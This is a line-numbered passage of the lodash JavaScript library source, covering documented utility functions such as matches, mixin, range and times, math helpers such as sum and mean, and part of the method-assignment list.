15682 * { 'a': 1, 'b': 2, 'c': 3 },
15683 * { 'a': 4, 'b': 5, 'c': 6 }
15684 * ];
15685 *
15686 * _.filter(objects, _.matches({ 'a': 4, 'c': 6 }));
15687 * // => [{ 'a': 4, 'b': 5, 'c': 6 }]
15688 *
15689 * // Checking for several possible values
15690 * _.filter(objects, _.overSome([_.matches({ 'a': 1 }), _.matches({ 'a': 4 })]));
15691 * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
15692 */
15693 function matches(source) {
15694 return baseMatches(baseClone(source, CLONE_DEEP_FLAG));
15695 }
15696
15697 /**
15698 * Creates a function that performs a partial deep comparison between the
15699 * value at `path` of a given object to `srcValue`, returning `true` if the
15700 * object value is equivalent, else `false`.
15701 *
15702 * **Note:** Partial comparisons will match empty array and empty object
15703 * `srcValue` values against any array or object value, respectively. See
15704 * `_.isEqual` for a list of supported value comparisons.
15705 *
15706 * **Note:** Multiple values can be checked by combining several matchers
15707 * using `_.overSome`
15708 *
15709 * @static
15710 * @memberOf _
15711 * @since 3.2.0
15712 * @category Util
15713 * @param {Array|string} path The path of the property to get.
15714 * @param {*} srcValue The value to match.
15715 * @returns {Function} Returns the new spec function.
15716 * @example
15717 *
15718 * var objects = [
15719 * { 'a': 1, 'b': 2, 'c': 3 },
15720 * { 'a': 4, 'b': 5, 'c': 6 }
15721 * ];
15722 *
15723 * _.find(objects, _.matchesProperty('a', 4));
15724 * // => { 'a': 4, 'b': 5, 'c': 6 }
15725 *
15726 * // Checking for several possible values
15727 * _.filter(objects, _.overSome([_.matchesProperty('a', 1), _.matchesProperty('a', 4)]));
15728 * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
15729 */
15730 function matchesProperty(path, srcValue) {
15731 return baseMatchesProperty(path, baseClone(srcValue, CLONE_DEEP_FLAG));
15732 }
15733
15734 /**
15735 * Creates a function that invokes the method at `path` of a given object.
15736 * Any additional arguments are provided to the invoked method.
15737 *
15738 * @static
15739 * @memberOf _
15740 * @since 3.7.0
15741 * @category Util
15742 * @param {Array|string} path The path of the method to invoke.
15743 * @param {...*} [args] The arguments to invoke the method with.
15744 * @returns {Function} Returns the new invoker function.
15745 * @example
15746 *
15747 * var objects = [
15748 * { 'a': { 'b': _.constant(2) } },
15749 * { 'a': { 'b': _.constant(1) } }
15750 * ];
15751 *
15752 * _.map(objects, _.method('a.b'));
15753 * // => [2, 1]
15754 *
15755 * _.map(objects, _.method(['a', 'b']));
15756 * // => [2, 1]
15757 */
15758 var method = baseRest(function(path, args) {
15759 return function(object) {
15760 return baseInvoke(object, path, args);
15761 };
15762 });
15763
15764 /**
15765 * The opposite of `_.method`; this method creates a function that invokes
15766 * the method at a given path of `object`. Any additional arguments are
15767 * provided to the invoked method.
15768 *
15769 * @static
15770 * @memberOf _
15771 * @since 3.7.0
15772 * @category Util
15773 * @param {Object} object The object to query.
15774 * @param {...*} [args] The arguments to invoke the method with.
15775 * @returns {Function} Returns the new invoker function.
15776 * @example
15777 *
15778 * var array = _.times(3, _.constant),
15779 * object = { 'a': array, 'b': array, 'c': array };
15780 *
15781 * _.map(['a[2]', 'c[0]'], _.methodOf(object));
15782 * // => [2, 0]
15783 *
15784 * _.map([['a', '2'], ['c', '0']], _.methodOf(object));
15785 * // => [2, 0]
15786 */
15787 var methodOf = baseRest(function(object, args) {
15788 return function(path) {
15789 return baseInvoke(object, path, args);
15790 };
15791 });
15792
15793 /**
15794 * Adds all own enumerable string keyed function properties of a source
15795 * object to the destination object. If `object` is a function, then methods
15796 * are added to its prototype as well.
15797 *
15798 * **Note:** Use `_.runInContext` to create a pristine `lodash` function to
15799 * avoid conflicts caused by modifying the original.
15800 *
15801 * @static
15802 * @since 0.1.0
15803 * @memberOf _
15804 * @category Util
15805 * @param {Function|Object} [object=lodash] The destination object.
15806 * @param {Object} source The object of functions to add.
15807 * @param {Object} [options={}] The options object.
15808 * @param {boolean} [options.chain=true] Specify whether mixins are chainable.
15809 * @returns {Function|Object} Returns `object`.
15810 * @example
15811 *
15812 * function vowels(string) {
15813 * return _.filter(string, function(v) {
15814 * return /[aeiou]/i.test(v);
15815 * });
15816 * }
15817 *
15818 * _.mixin({ 'vowels': vowels });
15819 * _.vowels('fred');
15820 * // => ['e']
15821 *
15822 * _('fred').vowels().value();
15823 * // => ['e']
15824 *
15825 * _.mixin({ 'vowels': vowels }, { 'chain': false });
15826 * _('fred').vowels();
15827 * // => ['e']
15828 */
15829 function mixin(object, source, options) {
15830 var props = keys(source),
15831 methodNames = baseFunctions(source, props);
15832
15833 if (options == null &&
15834 !(isObject(source) && (methodNames.length || !props.length))) {
15835 options = source;
15836 source = object;
15837 object = this;
15838 methodNames = baseFunctions(source, keys(source));
15839 }
15840 var chain = !(isObject(options) && 'chain' in options) || !!options.chain,
15841 isFunc = isFunction(object);
15842
15843 arrayEach(methodNames, function(methodName) {
15844 var func = source[methodName];
15845 object[methodName] = func;
15846 if (isFunc) {
15847 object.prototype[methodName] = function() {
15848 var chainAll = this.__chain__;
15849 if (chain || chainAll) {
15850 var result = object(this.__wrapped__),
15851 actions = result.__actions__ = copyArray(this.__actions__);
15852
15853 actions.push({ 'func': func, 'args': arguments, 'thisArg': object });
15854 result.__chain__ = chainAll;
15855 return result;
15856 }
15857 return func.apply(object, arrayPush([this.value()], arguments));
15858 };
15859 }
15860 });
15861
15862 return object;
15863 }
15864
15865 /**
15866 * Reverts the `_` variable to its previous value and returns a reference to
15867 * the `lodash` function.
15868 *
15869 * @static
15870 * @since 0.1.0
15871 * @memberOf _
15872 * @category Util
15873 * @returns {Function} Returns the `lodash` function.
15874 * @example
15875 *
15876 * var lodash = _.noConflict();
15877 */
15878 function noConflict() {
15879 if (root._ === this) {
15880 root._ = oldDash;
15881 }
15882 return this;
15883 }
15884
15885 /**
15886 * This method returns `undefined`.
15887 *
15888 * @static
15889 * @memberOf _
15890 * @since 2.3.0
15891 * @category Util
15892 * @example
15893 *
15894 * _.times(2, _.noop);
15895 * // => [undefined, undefined]
15896 */
15897 function noop() {
15898 // No operation performed.
15899 }
15900
15901 /**
15902 * Creates a function that gets the argument at index `n`. If `n` is negative,
15903 * the nth argument from the end is returned.
15904 *
15905 * @static
15906 * @memberOf _
15907 * @since 4.0.0
15908 * @category Util
15909 * @param {number} [n=0] The index of the argument to return.
15910 * @returns {Function} Returns the new pass-thru function.
15911 * @example
15912 *
15913 * var func = _.nthArg(1);
15914 * func('a', 'b', 'c', 'd');
15915 * // => 'b'
15916 *
15917 * var func = _.nthArg(-2);
15918 * func('a', 'b', 'c', 'd');
15919 * // => 'c'
15920 */
15921 function nthArg(n) {
15922 n = toInteger(n);
15923 return baseRest(function(args) {
15924 return baseNth(args, n);
15925 });
15926 }
15927
15928 /**
15929 * Creates a function that invokes `iteratees` with the arguments it receives
15930 * and returns their results.
15931 *
15932 * @static
15933 * @memberOf _
15934 * @since 4.0.0
15935 * @category Util
15936 * @param {...(Function|Function[])} [iteratees=[_.identity]]
15937 * The iteratees to invoke.
15938 * @returns {Function} Returns the new function.
15939 * @example
15940 *
15941 * var func = _.over([Math.max, Math.min]);
15942 *
15943 * func(1, 2, 3, 4);
15944 * // => [4, 1]
15945 */
15946 var over = createOver(arrayMap);
15947
15948 /**
15949 * Creates a function that checks if **all** of the `predicates` return
15950 * truthy when invoked with the arguments it receives.
15951 *
15952 * Following shorthands are possible for providing predicates.
15953 * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
15954 * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
15955 *
15956 * @static
15957 * @memberOf _
15958 * @since 4.0.0
15959 * @category Util
15960 * @param {...(Function|Function[])} [predicates=[_.identity]]
15961 * The predicates to check.
15962 * @returns {Function} Returns the new function.
15963 * @example
15964 *
15965 * var func = _.overEvery([Boolean, isFinite]);
15966 *
15967 * func('1');
15968 * // => true
15969 *
15970 * func(null);
15971 * // => false
15972 *
15973 * func(NaN);
15974 * // => false
15975 */
15976 var overEvery = createOver(arrayEvery);
15977
15978 /**
15979 * Creates a function that checks if **any** of the `predicates` return
15980 * truthy when invoked with the arguments it receives.
15981 *
15982 * Following shorthands are possible for providing predicates.
15983 * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
15984 * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
15985 *
15986 * @static
15987 * @memberOf _
15988 * @since 4.0.0
15989 * @category Util
15990 * @param {...(Function|Function[])} [predicates=[_.identity]]
15991 * The predicates to check.
15992 * @returns {Function} Returns the new function.
15993 * @example
15994 *
15995 * var func = _.overSome([Boolean, isFinite]);
15996 *
15997 * func('1');
15998 * // => true
15999 *
16000 * func(null);
16001 * // => true
16002 *
16003 * func(NaN);
16004 * // => false
16005 *
16006 * var matchesFunc = _.overSome([{ 'a': 1 }, { 'a': 2 }])
16007 * var matchesPropertyFunc = _.overSome([['a', 1], ['a', 2]])
16008 */
16009 var overSome = createOver(arraySome);
16010
16011 /**
16012 * Creates a function that returns the value at `path` of a given object.
16013 *
16014 * @static
16015 * @memberOf _
16016 * @since 2.4.0
16017 * @category Util
16018 * @param {Array|string} path The path of the property to get.
16019 * @returns {Function} Returns the new accessor function.
16020 * @example
16021 *
16022 * var objects = [
16023 * { 'a': { 'b': 2 } },
16024 * { 'a': { 'b': 1 } }
16025 * ];
16026 *
16027 * _.map(objects, _.property('a.b'));
16028 * // => [2, 1]
16029 *
16030 * _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b');
16031 * // => [1, 2]
16032 */
16033 function property(path) {
16034 return isKey(path) ? baseProperty(toKey(path)) : basePropertyDeep(path);
16035 }
16036
16037 /**
16038 * The opposite of `_.property`; this method creates a function that returns
16039 * the value at a given path of `object`.
16040 *
16041 * @static
16042 * @memberOf _
16043 * @since 3.0.0
16044 * @category Util
16045 * @param {Object} object The object to query.
16046 * @returns {Function} Returns the new accessor function.
16047 * @example
16048 *
16049 * var array = [0, 1, 2],
16050 * object = { 'a': array, 'b': array, 'c': array };
16051 *
16052 * _.map(['a[2]', 'c[0]'], _.propertyOf(object));
16053 * // => [2, 0]
16054 *
16055 * _.map([['a', '2'], ['c', '0']], _.propertyOf(object));
16056 * // => [2, 0]
16057 */
16058 function propertyOf(object) {
16059 return function(path) {
16060 return object == null ? undefined : baseGet(object, path);
16061 };
16062 }
16063
16064 /**
16065 * Creates an array of numbers (positive and/or negative) progressing from
16066 * `start` up to, but not including, `end`. A step of `-1` is used if a negative
16067 * `start` is specified without an `end` or `step`. If `end` is not specified,
16068 * it's set to `start` with `start` then set to `0`.
16069 *
16070 * **Note:** JavaScript follows the IEEE-754 standard for resolving
16071 * floating-point values which can produce unexpected results.
16072 *
16073 * @static
16074 * @since 0.1.0
16075 * @memberOf _
16076 * @category Util
16077 * @param {number} [start=0] The start of the range.
16078 * @param {number} end The end of the range.
16079 * @param {number} [step=1] The value to increment or decrement by.
16080 * @returns {Array} Returns the range of numbers.
16081 * @see _.inRange, _.rangeRight
16082 * @example
16083 *
16084 * _.range(4);
16085 * // => [0, 1, 2, 3]
16086 *
16087 * _.range(-4);
16088 * // => [0, -1, -2, -3]
16089 *
16090 * _.range(1, 5);
16091 * // => [1, 2, 3, 4]
16092 *
16093 * _.range(0, 20, 5);
16094 * // => [0, 5, 10, 15]
16095 *
16096 * _.range(0, -4, -1);
16097 * // => [0, -1, -2, -3]
16098 *
16099 * _.range(1, 4, 0);
16100 * // => [1, 1, 1]
16101 *
16102 * _.range(0);
16103 * // => []
16104 */
16105 var range = createRange();
16106
16107 /**
16108 * This method is like `_.range` except that it populates values in
16109 * descending order.
16110 *
16111 * @static
16112 * @memberOf _
16113 * @since 4.0.0
16114 * @category Util
16115 * @param {number} [start=0] The start of the range.
16116 * @param {number} end The end of the range.
16117 * @param {number} [step=1] The value to increment or decrement by.
16118 * @returns {Array} Returns the range of numbers.
16119 * @see _.inRange, _.range
16120 * @example
16121 *
16122 * _.rangeRight(4);
16123 * // => [3, 2, 1, 0]
16124 *
16125 * _.rangeRight(-4);
16126 * // => [-3, -2, -1, 0]
16127 *
16128 * _.rangeRight(1, 5);
16129 * // => [4, 3, 2, 1]
16130 *
16131 * _.rangeRight(0, 20, 5);
16132 * // => [15, 10, 5, 0]
16133 *
16134 * _.rangeRight(0, -4, -1);
16135 * // => [-3, -2, -1, 0]
16136 *
16137 * _.rangeRight(1, 4, 0);
16138 * // => [1, 1, 1]
16139 *
16140 * _.rangeRight(0);
16141 * // => []
16142 */
16143 var rangeRight = createRange(true);
16144
16145 /**
16146 * This method returns a new empty array.
16147 *
16148 * @static
16149 * @memberOf _
16150 * @since 4.13.0
16151 * @category Util
16152 * @returns {Array} Returns the new empty array.
16153 * @example
16154 *
16155 * var arrays = _.times(2, _.stubArray);
16156 *
16157 * console.log(arrays);
16158 * // => [[], []]
16159 *
16160 * console.log(arrays[0] === arrays[1]);
16161 * // => false
16162 */
16163 function stubArray() {
16164 return [];
16165 }
16166
16167 /**
16168 * This method returns `false`.
16169 *
16170 * @static
16171 * @memberOf _
16172 * @since 4.13.0
16173 * @category Util
16174 * @returns {boolean} Returns `false`.
16175 * @example
16176 *
16177 * _.times(2, _.stubFalse);
16178 * // => [false, false]
16179 */
16180 function stubFalse() {
16181 return false;
16182 }
16183
16184 /**
16185 * This method returns a new empty object.
16186 *
16187 * @static
16188 * @memberOf _
16189 * @since 4.13.0
16190 * @category Util
16191 * @returns {Object} Returns the new empty object.
16192 * @example
16193 *
16194 * var objects = _.times(2, _.stubObject);
16195 *
16196 * console.log(objects);
16197 * // => [{}, {}]
16198 *
16199 * console.log(objects[0] === objects[1]);
16200 * // => false
16201 */
16202 function stubObject() {
16203 return {};
16204 }
16205
16206 /**
16207 * This method returns an empty string.
16208 *
16209 * @static
16210 * @memberOf _
16211 * @since 4.13.0
16212 * @category Util
16213 * @returns {string} Returns the empty string.
16214 * @example
16215 *
16216 * _.times(2, _.stubString);
16217 * // => ['', '']
16218 */
16219 function stubString() {
16220 return '';
16221 }
16222
16223 /**
16224 * This method returns `true`.
16225 *
16226 * @static
16227 * @memberOf _
16228 * @since 4.13.0
16229 * @category Util
16230 * @returns {boolean} Returns `true`.
16231 * @example
16232 *
16233 * _.times(2, _.stubTrue);
16234 * // => [true, true]
16235 */
16236 function stubTrue() {
16237 return true;
16238 }
16239
16240 /**
16241 * Invokes the iteratee `n` times, returning an array of the results of
16242 * each invocation. The iteratee is invoked with one argument; (index).
16243 *
16244 * @static
16245 * @since 0.1.0
16246 * @memberOf _
16247 * @category Util
16248 * @param {number} n The number of times to invoke `iteratee`.
16249 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
16250 * @returns {Array} Returns the array of results.
16251 * @example
16252 *
16253 * _.times(3, String);
16254 * // => ['0', '1', '2']
16255 *
16256 * _.times(4, _.constant(0));
16257 * // => [0, 0, 0, 0]
16258 */
16259 function times(n, iteratee) {
16260 n = toInteger(n);
16261 if (n < 1 || n > MAX_SAFE_INTEGER) {
16262 return [];
16263 }
16264 var index = MAX_ARRAY_LENGTH,
16265 length = nativeMin(n, MAX_ARRAY_LENGTH);
16266
16267 iteratee = getIteratee(iteratee);
16268 n -= MAX_ARRAY_LENGTH;
16269
16270 var result = baseTimes(length, iteratee);
16271 while (++index < n) {
16272 iteratee(index);
16273 }
16274 return result;
16275 }
16276
16277 /**
16278 * Converts `value` to a property path array.
16279 *
16280 * @static
16281 * @memberOf _
16282 * @since 4.0.0
16283 * @category Util
16284 * @param {*} value The value to convert.
16285 * @returns {Array} Returns the new property path array.
16286 * @example
16287 *
16288 * _.toPath('a.b.c');
16289 * // => ['a', 'b', 'c']
16290 *
16291 * _.toPath('a[0].b.c');
16292 * // => ['a', '0', 'b', 'c']
16293 */
16294 function toPath(value) {
16295 if (isArray(value)) {
16296 return arrayMap(value, toKey);
16297 }
16298 return isSymbol(value) ? [value] : copyArray(stringToPath(toString(value)));
16299 }
16300
16301 /**
16302 * Generates a unique ID. If `prefix` is given, the ID is appended to it.
16303 *
16304 * @static
16305 * @since 0.1.0
16306 * @memberOf _
16307 * @category Util
16308 * @param {string} [prefix=''] The value to prefix the ID with.
16309 * @returns {string} Returns the unique ID.
16310 * @example
16311 *
16312 * _.uniqueId('contact_');
16313 * // => 'contact_104'
16314 *
16315 * _.uniqueId();
16316 * // => '105'
16317 */
16318 function uniqueId(prefix) {
16319 var id = ++idCounter;
16320 return toString(prefix) + id;
16321 }
16322
16323 /*------------------------------------------------------------------------*/
16324
16325 /**
16326 * Adds two numbers.
16327 *
16328 * @static
16329 * @memberOf _
16330 * @since 3.4.0
16331 * @category Math
16332 * @param {number} augend The first number in an addition.
16333 * @param {number} addend The second number in an addition.
16334 * @returns {number} Returns the total.
16335 * @example
16336 *
16337 * _.add(6, 4);
16338 * // => 10
16339 */
16340 var add = createMathOperation(function(augend, addend) {
16341 return augend + addend;
16342 }, 0);
16343
16344 /**
16345 * Computes `number` rounded up to `precision`.
16346 *
16347 * @static
16348 * @memberOf _
16349 * @since 3.10.0
16350 * @category Math
16351 * @param {number} number The number to round up.
16352 * @param {number} [precision=0] The precision to round up to.
16353 * @returns {number} Returns the rounded up number.
16354 * @example
16355 *
16356 * _.ceil(4.006);
16357 * // => 5
16358 *
16359 * _.ceil(6.004, 2);
16360 * // => 6.01
16361 *
16362 * _.ceil(6040, -2);
16363 * // => 6100
16364 */
16365 var ceil = createRound('ceil');
16366
16367 /**
16368 * Divide two numbers.
16369 *
16370 * @static
16371 * @memberOf _
16372 * @since 4.7.0
16373 * @category Math
16374 * @param {number} dividend The first number in a division.
16375 * @param {number} divisor The second number in a division.
16376 * @returns {number} Returns the quotient.
16377 * @example
16378 *
16379 * _.divide(6, 4);
16380 * // => 1.5
16381 */
16382 var divide = createMathOperation(function(dividend, divisor) {
16383 return dividend / divisor;
16384 }, 1);
16385
16386 /**
16387 * Computes `number` rounded down to `precision`.
16388 *
16389 * @static
16390 * @memberOf _
16391 * @since 3.10.0
16392 * @category Math
16393 * @param {number} number The number to round down.
16394 * @param {number} [precision=0] The precision to round down to.
16395 * @returns {number} Returns the rounded down number.
16396 * @example
16397 *
16398 * _.floor(4.006);
16399 * // => 4
16400 *
16401 * _.floor(0.046, 2);
16402 * // => 0.04
16403 *
16404 * _.floor(4060, -2);
16405 * // => 4000
16406 */
16407 var floor = createRound('floor');
16408
16409 /**
16410 * Computes the maximum value of `array`. If `array` is empty or falsey,
16411 * `undefined` is returned.
16412 *
16413 * @static
16414 * @since 0.1.0
16415 * @memberOf _
16416 * @category Math
16417 * @param {Array} array The array to iterate over.
16418 * @returns {*} Returns the maximum value.
16419 * @example
16420 *
16421 * _.max([4, 2, 8, 6]);
16422 * // => 8
16423 *
16424 * _.max([]);
16425 * // => undefined
16426 */
16427 function max(array) {
16428 return (array && array.length)
16429 ? baseExtremum(array, identity, baseGt)
16430 : undefined;
16431 }
16432
16433 /**
16434 * This method is like `_.max` except that it accepts `iteratee` which is
16435 * invoked for each element in `array` to generate the criterion by which
16436 * the value is ranked. The iteratee is invoked with one argument: (value).
16437 *
16438 * @static
16439 * @memberOf _
16440 * @since 4.0.0
16441 * @category Math
16442 * @param {Array} array The array to iterate over.
16443 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
16444 * @returns {*} Returns the maximum value.
16445 * @example
16446 *
16447 * var objects = [{ 'n': 1 }, { 'n': 2 }];
16448 *
16449 * _.maxBy(objects, function(o) { return o.n; });
16450 * // => { 'n': 2 }
16451 *
16452 * // The `_.property` iteratee shorthand.
16453 * _.maxBy(objects, 'n');
16454 * // => { 'n': 2 }
16455 */
16456 function maxBy(array, iteratee) {
16457 return (array && array.length)
16458 ? baseExtremum(array, getIteratee(iteratee, 2), baseGt)
16459 : undefined;
16460 }
16461
16462 /**
16463 * Computes the mean of the values in `array`.
16464 *
16465 * @static
16466 * @memberOf _
16467 * @since 4.0.0
16468 * @category Math
16469 * @param {Array} array The array to iterate over.
16470 * @returns {number} Returns the mean.
16471 * @example
16472 *
16473 * _.mean([4, 2, 8, 6]);
16474 * // => 5
16475 */
16476 function mean(array) {
16477 return baseMean(array, identity);
16478 }
16479
16480 /**
16481 * This method is like `_.mean` except that it accepts `iteratee` which is
16482 * invoked for each element in `array` to generate the value to be averaged.
16483 * The iteratee is invoked with one argument: (value).
16484 *
16485 * @static
16486 * @memberOf _
16487 * @since 4.7.0
16488 * @category Math
16489 * @param {Array} array The array to iterate over.
16490 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
16491 * @returns {number} Returns the mean.
16492 * @example
16493 *
16494 * var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
16495 *
16496 * _.meanBy(objects, function(o) { return o.n; });
16497 * // => 5
16498 *
16499 * // The `_.property` iteratee shorthand.
16500 * _.meanBy(objects, 'n');
16501 * // => 5
16502 */
16503 function meanBy(array, iteratee) {
16504 return baseMean(array, getIteratee(iteratee, 2));
16505 }
16506
16507 /**
16508 * Computes the minimum value of `array`. If `array` is empty or falsey,
16509 * `undefined` is returned.
16510 *
16511 * @static
16512 * @since 0.1.0
16513 * @memberOf _
16514 * @category Math
16515 * @param {Array} array The array to iterate over.
16516 * @returns {*} Returns the minimum value.
16517 * @example
16518 *
16519 * _.min([4, 2, 8, 6]);
16520 * // => 2
16521 *
16522 * _.min([]);
16523 * // => undefined
16524 */
16525 function min(array) {
16526 return (array && array.length)
16527 ? baseExtremum(array, identity, baseLt)
16528 : undefined;
16529 }
16530
16531 /**
16532 * This method is like `_.min` except that it accepts `iteratee` which is
16533 * invoked for each element in `array` to generate the criterion by which
16534 * the value is ranked. The iteratee is invoked with one argument: (value).
16535 *
16536 * @static
16537 * @memberOf _
16538 * @since 4.0.0
16539 * @category Math
16540 * @param {Array} array The array to iterate over.
16541 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
16542 * @returns {*} Returns the minimum value.
16543 * @example
16544 *
16545 * var objects = [{ 'n': 1 }, { 'n': 2 }];
16546 *
16547 * _.minBy(objects, function(o) { return o.n; });
16548 * // => { 'n': 1 }
16549 *
16550 * // The `_.property` iteratee shorthand.
16551 * _.minBy(objects, 'n');
16552 * // => { 'n': 1 }
16553 */
16554 function minBy(array, iteratee) {
16555 return (array && array.length)
16556 ? baseExtremum(array, getIteratee(iteratee, 2), baseLt)
16557 : undefined;
16558 }
16559
16560 /**
16561 * Multiply two numbers.
16562 *
16563 * @static
16564 * @memberOf _
16565 * @since 4.7.0
16566 * @category Math
16567 * @param {number} multiplier The first number in a multiplication.
16568 * @param {number} multiplicand The second number in a multiplication.
16569 * @returns {number} Returns the product.
16570 * @example
16571 *
16572 * _.multiply(6, 4);
16573 * // => 24
16574 */
16575 var multiply = createMathOperation(function(multiplier, multiplicand) {
16576 return multiplier * multiplicand;
16577 }, 1);
16578
16579 /**
16580 * Computes `number` rounded to `precision`.
16581 *
16582 * @static
16583 * @memberOf _
16584 * @since 3.10.0
16585 * @category Math
16586 * @param {number} number The number to round.
16587 * @param {number} [precision=0] The precision to round to.
16588 * @returns {number} Returns the rounded number.
16589 * @example
16590 *
16591 * _.round(4.006);
16592 * // => 4
16593 *
16594 * _.round(4.006, 2);
16595 * // => 4.01
16596 *
16597 * _.round(4060, -2);
16598 * // => 4100
16599 */
16600 var round = createRound('round');
16601
16602 /**
16603 * Subtract two numbers.
16604 *
16605 * @static
16606 * @memberOf _
16607 * @since 4.0.0
16608 * @category Math
16609 * @param {number} minuend The first number in a subtraction.
16610 * @param {number} subtrahend The second number in a subtraction.
16611 * @returns {number} Returns the difference.
16612 * @example
16613 *
16614 * _.subtract(6, 4);
16615 * // => 2
16616 */
16617 var subtract = createMathOperation(function(minuend, subtrahend) {
16618 return minuend - subtrahend;
16619 }, 0);
16620
16621 /**
16622 * Computes the sum of the values in `array`.
16623 *
16624 * @static
16625 * @memberOf _
16626 * @since 3.4.0
16627 * @category Math
16628 * @param {Array} array The array to iterate over.
16629 * @returns {number} Returns the sum.
16630 * @example
16631 *
16632 * _.sum([4, 2, 8, 6]);
16633 * // => 20
16634 */
16635 function sum(array) {
16636 return (array && array.length)
16637 ? baseSum(array, identity)
16638 : 0;
16639 }
16640
16641 /**
16642 * This method is like `_.sum` except that it accepts `iteratee` which is
16643 * invoked for each element in `array` to generate the value to be summed.
16644 * The iteratee is invoked with one argument: (value).
16645 *
16646 * @static
16647 * @memberOf _
16648 * @since 4.0.0
16649 * @category Math
16650 * @param {Array} array The array to iterate over.
16651 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
16652 * @returns {number} Returns the sum.
16653 * @example
16654 *
16655 * var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
16656 *
16657 * _.sumBy(objects, function(o) { return o.n; });
16658 * // => 20
16659 *
16660 * // The `_.property` iteratee shorthand.
16661 * _.sumBy(objects, 'n');
16662 * // => 20
16663 */
16664 function sumBy(array, iteratee) {
16665 return (array && array.length)
16666 ? baseSum(array, getIteratee(iteratee, 2))
16667 : 0;
16668 }
16669
16670 /*------------------------------------------------------------------------*/
16671
16672 // Add methods that return wrapped values in chain sequences.
16673 lodash.after = after;
16674 lodash.ary = ary;
16675 lodash.assign = assign;
16676 lodash.assignIn = assignIn;
16677 lodash.assignInWith = assignInWith;
16678 lodash.assignWith = assignWith;
16679 lodash.at = at;
16680 lodash.before = before;
16681 lodash.bind = bind;
16682 lodash.bindAll = bindAll;
16683 lodash.bindKey = bindKey;
16684 lodash.castArray = castArray;
16685 lodash.chain = chain;
16686 lodash.chunk = chunk;
16687 lodash.compact = compact;
16688 lodash.concat = concat;
16689 lodash.cond = cond;
16690 lodash.conforms = conforms;
16691 lodash.constant = constant;
16692 lodash.countBy = countBy;
16693 lodash.create = create;
16694 lodash.curry = curry;
16695 lodash.curryRight = curryRight;
16696 lodash.debounce = debounce;
16697 lodash.defaults = defaults;
16698 lodash.defaultsDeep = defaultsDeep;
16699 lodash.defer = defer;
16700 lodash.delay = delay;
16701 lodash.difference = difference;
16702 lodash.differenceBy = differenceBy;
16703 lodash.differenceWith = differenceWith;
16704 lodash.drop = drop;
16705 lodash.dropRight = dropRight;
16706 lodash.dropRightWhile = dropRightWhile;
16707 lodash.dropWhile = dropWhile;
16708 lodash.fill = fill;
16709 lodash.filter = filter;
16710 lodash.flatMap = flatMap;
16711 lodash.flatMapDeep = flatMapDeep;
16712 lodash.flatMapDepth = flatMapDepth;
16713 lodash.flatten = flatten;
16714 lodash.flattenDeep = flattenDeep;
16715 lodash.flattenDepth = flattenDepth;
16716 lodash.flip = flip;
16717 lodash.flow = flow;
16718 lodash.flowRight = flowRight;
16719 lodash.fromPairs = fromPairs;
16720 lodash.functions = functions;
16721 lodash.functionsIn = functionsIn;
16722 lodash.groupBy = groupBy;
16723 lodash.initial = initial;
16724 lodash.intersection = intersection;
16725 lodash.intersectionBy = intersectionBy;
16726 lodash.intersectionWith = intersectionWith;
16727 lodash.invert = invert;
16728 lodash.invertBy = invertBy;
16729 lodash.invokeMap = invokeMap;
16730 lodash.iteratee = iteratee;
16731 lodash.keyBy = keyBy;
16732 lodash.keys = keys;
16733 lodash.keysIn = keysIn;
16734 lodash.map = map;
16735 lodash.mapKeys = mapKeys;
16736 lodash.mapValues = mapValues;
16737 lodash.matches = matches;
16738 lodash.matchesProperty = matchesProperty;
16739 lodash.memoize = memoize;
16740 lodash.merge = merge;
16741 lodash.mergeWith = mergeWith;
16742 lodash.method = method;
16743 lodash.methodOf = methodOf;
16744 lodash.mixin = mixin;
16745 lodash.negate = negate;
16746 lodash.nthArg = nthArg;
16747 lodash.omit = omit;
16748 lodash.omitBy = omitBy;
16749 lodash.once = once;
16750 lodash.orderBy = orderBy;
16751 lodash.over = over;
16752 lodash.overArgs = overArgs;
16753 lodash.overEvery = overEvery;
16754 lodash.overSome = overSome;
16755 lodash.partial = partial;
16756 lodash.partialRight = partialRight;
16757 lodash.partition = partition;
16758 lodash.pick = pick;
16759 lodash.pickBy = pickBy;
16760 lodash.property = property;
16761 lodash.propertyOf = propertyOf;
16762 lodash.pull = pull;
16763 lodash.pullAll = pullAll;
16764 lodash.pullAllBy = pullAllBy;
16765 lodash.pullAllWith = pullAllWith;
16766 lodash.pullAt = pullAt;
16767 lodash.range = range;
16768 lodash.rangeRight = rangeRight;
16769 lodash.rearg = rearg;
16770 lodash.reject = reject;
16771 lodash.remove = remove;
16772 lodash.rest = rest;
16773 lodash.reverse = reverse;
16774 lodash.sampleSize = sampleSize;
16775 lodash.set = set;
16776 lodash.setWith = setWith;
16777 lodash.shuffle = shuffle;
16778 lodash.slice = slice;
16779 lodash.sortBy = sortBy;
16780 lodash.sortedUniq = sortedUniq;
16781 lodash.sortedUniqBy = sortedUniqBy;
16782 lodash.split = split;
16783 lodash.spread = spread;
16784 lodash.tail = tail;
16785 lodash.take = take;
16786 lodash.takeRight = takeRight;
16787 lodash.takeRightWhile = takeRightWhile;
16788 lodash.takeWhile = takeWhile;
16789 lodash.tap = tap;
16790 lodash.throttle = throttle;
16791 lodash.thru = thru;
16792 lodash.toArray = toArray;
16793 lodash.toPairs = toPairs;
16794 lodash.toPairsIn = toPairsIn;
16795 lodash.toPath = toPath;
16796 lodash.toPlainObject = toPlainObject;
16797 lodash.transform = transform;
16798 lodash.unary = unary;
16799 lodash.union = union;
16800 lodash.unionBy = unionBy;
16801 lodash.unionWith = unionWith;
16802 lodash.uniq = uniq;
16803 lodash.uniqBy = uniqBy;
16804 lodash.uniqWith = uniqWith;
16805 lodash.unset = unset;
16806 lodash.unzip = unzip;
16807 lodash.unzipWith = unzipWith;
16808 lodash.update = update;
